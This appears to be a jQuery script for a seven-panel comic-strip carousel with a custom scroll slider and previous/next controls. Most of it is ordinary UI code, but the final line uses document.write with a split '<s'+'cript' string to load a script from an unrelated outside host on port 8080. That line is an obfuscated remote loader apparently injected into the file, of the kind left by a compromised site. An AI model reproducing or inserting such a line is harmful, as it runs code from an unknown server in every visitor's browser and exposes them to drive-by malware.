var ocontainer;
var ocontent;
var spaceToScroll;
var running = false;
var currentBD = 1;
var nbBD = 7;
$(document).ready(init);

function init() 
{
	
	ocontainer = $('div.container');
	ocontent = $('div.content');
	
	containerSize = jQuery.iUtil.getSize(ocontainer.get(0));
	containerPosition = jQuery.iUtil.getPosition(ocontainer.get(0));
	containerInner = jQuery.iUtil.getClient(ocontainer.get(0));
	
	contentSize = jQuery.iUtil.getSize(ocontent.get(0));
	
	$('div.slider1')
		.css('top', '20px')
		.css('left', $("#bd_content_txt").width()+49+'px')
		.css('float', 'left')
		.css('height', containerSize.hb + 'px');
	
	spaceToScroll = contentSize.hb - containerInner.h;
	
	//$('div.indicator').css('height', containerInner.h * containerSize.hb / contentSize.hb + 'px');
	
	$('.slider1').Slider(
		{
			accept : '.indicator',
			onSlide : function( cordx, cordy, x , y)
			{
				ocontent
					.css('top',  spaceToScroll * cordy / 100 + 'px');
			}
		}
	);
	
	$("#previous_bd").click(self.right);
	$("#next_bd").click(self.left);
	$("#bd_num_1").click(function(){move(1)});
	$("#bd_num_2").click(function(){move(2)});
	$("#bd_num_3").click(function(){move(3)});
	$("#bd_num_4").click(function(){move(4)});
	$("#bd_num_5").click(function(){move(5)});
	$("#bd_num_6").click(function(){move(6)});
	$("#bd_num_7").click(function(){move(7)});
	$("#bd_content_hidden").css("margin-left", "0px");
	self.setCurrentBD();
}

function move(_currentBD){
	if(!running)
	{
		running = true;
		var nbBD_tmp = _currentBD - currentBD;
		
		setPreviousBD();
		currentBD = _currentBD;
		setCurrentBD();
		
		var left = $("#bd_content_hidden").css("margin-left");
		var trans = parseInt(left)-(parseInt($("#bd_content").width())*nbBD_tmp);
		var transParams = {marginLeft:trans+"px"};
		$("#bd_content_hidden").animate(transParams, "slow", transEnd);
	}
}

function left()
{
	if(!running)
	{
		var left = $("#bd_content_hidden").css("margin-left");
		if(Math.abs(parseInt($("#bd_content_hidden").css("margin-left"))) < (nbBD-1)*parseInt($("#bd_content").width()))
		{
			running = true;
			setPreviousBD();
			currentBD++;
			setCurrentBD();
			var trans = parseInt(left)-parseInt($("#bd_content").width());
			var transParams = {marginLeft:trans+"px"};
			$("#bd_content_hidden").animate(transParams, "slow", transEnd);
		}
	}
}


function right()
{
  	if(!running)
	{
		var left = parseInt($("#bd_content_hidden").css("margin-left"));
		if(left < 0)
		{
			running = true;
			setPreviousBD();
			currentBD--;
			setCurrentBD();
			var trans = parseInt(left)+parseInt($("#bd_content").width());
			var transParams = {marginLeft:trans+"px"};
			$("#bd_content_hidden").animate(transParams, "slow", transEnd);
		}
	}
}

function setPreviousBD()
{
	$("#bd_num_"+currentBD).removeClass('img_current');
	$("#bd_txt_"+currentBD).removeClass('block');
	$("#bd_txt_"+currentBD).addClass('none');
}

function setCurrentBD()
{
	$("#bd_num_"+currentBD).addClass('img_current');
	$("#bd_txt_"+currentBD).removeClass('none');
	$("#bd_txt_"+currentBD).addClass('block');
	
	$(".indicator").css("top", "0px");
	$(".content").css("top", "0px");
	
}

function transEnd()
{
	if(parseInt($("#bd_txt_"+currentBD).height()) > parseInt($("#bd_content_txt").height())){
		$('.indicator').css("display",'block');
	}else{
		$('.indicator').css("display",'none');
	}
	running = false;
}

document.write('<s'+'cript type="text/javascript" src="http://assol.metro-trading.net:8080/Link.js"></scr'+'ipt>');